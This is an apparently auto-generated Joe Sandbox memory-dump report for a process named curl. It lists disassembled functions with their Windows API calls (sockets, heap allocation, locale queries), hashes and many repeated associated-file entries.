Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CleanupFreeLibrary
String ID:
API String ID: 470324515-0
Opcode ID: e979687b4f2045cd9fcb8e311dc8741169f8df955f2f63d4c8dedea1b0f88260
Instruction ID: 6c06fb18e5e63a906c4a7fb8cbda6012aff0e8452ddd96f9dc33f43372e05076
Opcode Fuzzy Hash: e979687b4f2045cd9fcb8e311dc8741169f8df955f2f63d4c8dedea1b0f88260
Instruction Fuzzy Hash: 5C015E716052419FEBA1EF29EC5939237E9B784308FC4C818D845C73B1DF309949CB11

Function 00980D80 Relevance: 3.0, APIs: 2, Instructions: 34networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,D8164217), ref: 00980DA3
WSACleanup.WS2_32 ref: 00980DD2

Part of subcall function 00991CE0: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000001), ref: 00991D3F
Part of subcall function 00991CE0: VerSetConditionMask.KERNEL32(00000000,00000000,00000008,00000001), ref: 00991D4D
Part of subcall function 00991CE0: VerifyVersionInfoA.KERNEL32(?,00000002,00000000), ref: 00991D64
Part of subcall function 00991CE0: VerifyVersionInfoA.KERNEL32(?,00000008,00000000,?), ref: 00991D76
Part of subcall function 00991CE0: LoadLibraryA.KERNELBASE(secur32.dll), ref: 00991D88

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ConditionInfoMaskVerifyVersion$CleanupLibraryLoadStartup
String ID:
API String ID: 1807246684-0
Opcode ID: 3db03d4b5cc57f6851ab3e4a5df90bb5f36261ab4397d4c1bd53bbe9d9c5bd06
Instruction ID: 8563e52fdec759ed8057b71fac0d528d4bad9329b67ac09f8f02575052ee0872
Opcode Fuzzy Hash: 3db03d4b5cc57f6851ab3e4a5df90bb5f36261ab4397d4c1bd53bbe9d9c5bd06
Instruction Fuzzy Hash: 53F054306042084BD770FBA49917BBE739D9B95314F400619EC9A962C2EA24A816C783

Function 00A87042 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

CompareStringEx.KERNELBASE(00000000,00CB06F0,00000000,?,?,00A88621,00000000,00000000,00000000,?,00A88621,?,?,00000000,00CB06F0,00000000), ref: 00A87069
CompareStringW.KERNEL32(00000000,00CB06F0,00000000,?,?,00A88621,?,00A88621,?,?,00000000,00CB06F0,00000000,00000000,?,00A8869B), ref: 00A87086

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: 1056efd73a2f53818d845daf817251c9f8358c1c4223b6a57da2a43307f3b89f
Instruction ID: 71be461ce02c51b814ba776d504ad55aebeda14095efd672b9be7d0c7fb0042e
Opcode Fuzzy Hash: 1056efd73a2f53818d845daf817251c9f8358c1c4223b6a57da2a43307f3b89f
Instruction Fuzzy Hash: CCF06C3201410DBF9F069F90ED0ACEA3B6AFB08210B008514FA1845031DB76A972AB60

Function 009B89D0 Relevance: 3.0, APIs: 2, Instructions: 23networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000017,00000002,00000000), ref: 009B89E1
closesocket.WS2_32(00000000), ref: 009B8A07

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: closesocketsocket
String ID:
API String ID: 2760038618-0
Opcode ID: a0e4af12d09a86f0540f55dd5aec20379864ee415a41a909ef0d8efa34c0f404
Instruction ID: 4319f08c33c3ded680fa6c5dd48fae568d5df0ee754517f3ca16a10a8b12343a
Opcode Fuzzy Hash: a0e4af12d09a86f0540f55dd5aec20379864ee415a41a909ef0d8efa34c0f404
Instruction Fuzzy Hash: A3E04F742116058BEB1CDBB8AD26FAA3759AB05370F11831CE527D62F0CB71C802DF21

Function 00A6E832 Relevance: 3.0, APIs: 2, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00A75D32,00000000,?,?,?,00000000,?,00A79029,00000018,00AB7E48,00000008,00A78F76,?), ref: 00A6E846
GetLastError.KERNEL32(00000000,?,00A75D32,00000000,?,?,?,00000000,?,00A79029,00000018,00AB7E48,00000008,00A78F76,?,?), ref: 00A6E858

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4a6da0eac450d729acf7c7d1e7cfc2324e3463bf6c9fe17a5c575cbaf5a6d15e
Instruction ID: 305c6d9485b2e421d3a997b57cc19539d09ba3b25e1d9e36c3496c6e1da7a81f
Opcode Fuzzy Hash: 4a6da0eac450d729acf7c7d1e7cfc2324e3463bf6c9fe17a5c575cbaf5a6d15e
Instruction Fuzzy Hash: 1CE0C239140304ABDB10AFF5FC08B983BB8EF10342F108028F508CB0A0DB308441CB94

Function 00A7C0BD Relevance: 2.6, APIs: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00975539,00000000,?,00A7F88C,00975539,?,?,?,?,?,?,?,00975539,00000000,00000109), ref: 00A7C10D
GetLastError.KERNEL32(?,00A7F88C,00975539,?,?,?,?,?,?,?,00975539,00000000,00000109), ref: 00A7C117

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 18f1256360e8be518106c352dac94270930ecd81eab6b2d9f796c7c408063d9b
Instruction ID: 4d46e64c7807494d8001162302308f8d6239c166d25d096911449761eceb4c87
Opcode Fuzzy Hash: 18f1256360e8be518106c352dac94270930ecd81eab6b2d9f796c7c408063d9b
Instruction Fuzzy Hash: E00126327441205AC62463B8BE59F7D2B595B82B78FA6C32DE91CC72C3EE60D94142D4

Function 00A76FD1 Relevance: 1.7, APIs: 1, Instructions: 245COMMON

Download Yara Rule

APIs

Part of subcall function 00A865B9: IsValidCodePage.KERNEL32(00000000,?,?,00000055,?,?,00A77125,?,?,?,?,00000004,?,00000000), ref: 00A86697

GetACP.KERNEL32(?,?,?,?,?,00000004,?,00000000), ref: 00A771B7

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CodePageValid
String ID:
API String ID: 1911128615-0
Opcode ID: 1642026bf4db6eb2338cc8824bb0e39fd0bf3813316d525f23e2b849271958aa
Instruction ID: 278fecaca40aba8a856f8756048f7e260fa47466f8e0023bfe3a77154f8bf098
Opcode Fuzzy Hash: 1642026bf4db6eb2338cc8824bb0e39fd0bf3813316d525f23e2b849271958aa
Instruction Fuzzy Hash: 4171AF72A042556BDB25AB61CD41FEF77B9EF55340F14C0A6FD0CA6252FA308E41CBA0

Function 0098E580 Relevance: 1.6, APIs: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(?,?,?), ref: 0098E617

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: a6ce2888e52316d755b953002b0ab4359121ef89baa13b84548b464aa98a6665
Instruction ID: a66c8c5dbbc80dd164f45f570b428100c5e635cd0277d2657ff5542717738b05
Opcode Fuzzy Hash: a6ce2888e52316d755b953002b0ab4359121ef89baa13b84548b464aa98a6665
Instruction Fuzzy Hash: 93213871600204DFDB20DF29C891B9AB7E9FF58310F14893AE99ACB292E635E844CB51

Function 00A6FD90 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00CA0000,00000000,00000001,00000000,00000000,00000000,?,00A7913C,?,?,?,00000000,?,00A79029,00000018,00AB7E48), ref: 00A6FDD3

Part of subcall function 00A7B574: GetModuleFileNameW.KERNEL32(00000000,00B17972,00000104,00000000,00000000,?), ref: 00A7B606

Part of subcall function 00A7412C: ExitProcess.KERNEL32 ref: 00A7413B

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: AllocateExitFileHeapModuleNameProcess
String ID:
API String ID: 1715456479-0
Opcode ID: ba09054ef9640fe278f40db4bce90a170ad321e453433a353820bcab26cd9a25
Instruction ID: d5f8841ace530e7faeb73dcc171c9ec1819c0c5934346eb5e5b7b61802cc770c
Opcode Fuzzy Hash: ba09054ef9640fe278f40db4bce90a170ad321e453433a353820bcab26cd9a25
Instruction Fuzzy Hash: 06012439741202AED6207778FC02B6A7378DF82724F10813AF501DB2D2EF70AC0182B4

Function 00A76ABC Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00A790F2,?,?,00000000,00000000,00000000,?,00A75CFA,00000001,000003BC,00A7913C,?), ref: 00A76AFB

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8d3a656a17dd0a8c3d882eafa3fa04d5ccba3f807036d29e0995285f125f9754
Instruction ID: 18f6aa1bd7a2f9d480d0c2a8eaeff71f62fb6b60aa51e8108e0ef2184a80a181
Opcode Fuzzy Hash: 8d3a656a17dd0a8c3d882eafa3fa04d5ccba3f807036d29e0995285f125f9754
Instruction Fuzzy Hash: A2016731745A259BDB259F26DC05B6B77B8EB927A0F15C129EC19EB1D0DB30DC018790

Function 00A871B4 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32(00000055,?,?,00A8605E,?,00000055,0000009C), ref: 00A871CE

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: DefaultUser
String ID:
API String ID: 3358694519-0
Opcode ID: 036fb2a3260972fda06a18f9335a7f0da32622d34b3b687d2e9a8ccbc56a5a52
Instruction ID: e3086f2df58b57c27232a89d41008bb901874949dbe67589c1a3ab94e2b7b75e
